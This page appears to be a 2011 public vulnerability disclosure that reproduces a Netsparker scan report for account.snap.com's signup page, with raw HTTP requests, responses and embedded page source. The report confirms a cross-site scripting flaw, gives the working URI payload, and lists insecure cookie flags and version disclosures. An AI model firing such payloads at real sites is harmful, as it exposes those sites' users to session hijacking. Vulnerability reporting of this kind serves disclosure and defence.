XSS, Cross Site Scripting, accounts.snap.com, CWE-79, CAPEC-86, DORK GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Private Reporting of Security Research is preferred for Online Service Providers


Loading

Netsparker - Scan Report Summary
TARGET URL
https://account.snap.com/signup.php
SCAN DATE
4/25/2011 8:50:01 PM
REPORT DATE
4/26/2011 6:26:59 AM
SCAN DURATION
00:21:51

Total Requests

Average Speed

req/sec.
9
identified
4
confirmed
0
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
22 %
LOW
56 %
INFORMATION
22 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/signup.php Cookie Not Marked As Secure Yes
Cookie Not Marked As HttpOnly Yes
Apache Version Disclosure No
PHP Version Disclosure No
OpenSSL Version Disclosure No
Apache Module Version Disclosure No
File Upload Functionality Identified Yes
E-mail Address Disclosure No
/signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) URI-BASED Raw URI Cross-site Scripting Yes
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

/signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

https://account.snap.com/signup.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter Type Value
URI-BASED Raw URI /" stYle="x:expre/**/ssion(alert(9))

Request

GET /signup.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Cookie: PHPSESSID=f80c35872cf2bf6f2bb9713d6b948af7
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:52:06 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-form-urlencoded'); /* Force "Connection: close" for Mozi..
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /signup.php

/signup.php CONFIRMED

https://account.snap.com/signup.php

Identified Cookie

PHPSESSID

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=b22fd118a47c0aaaa7b8abd9895264bc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: 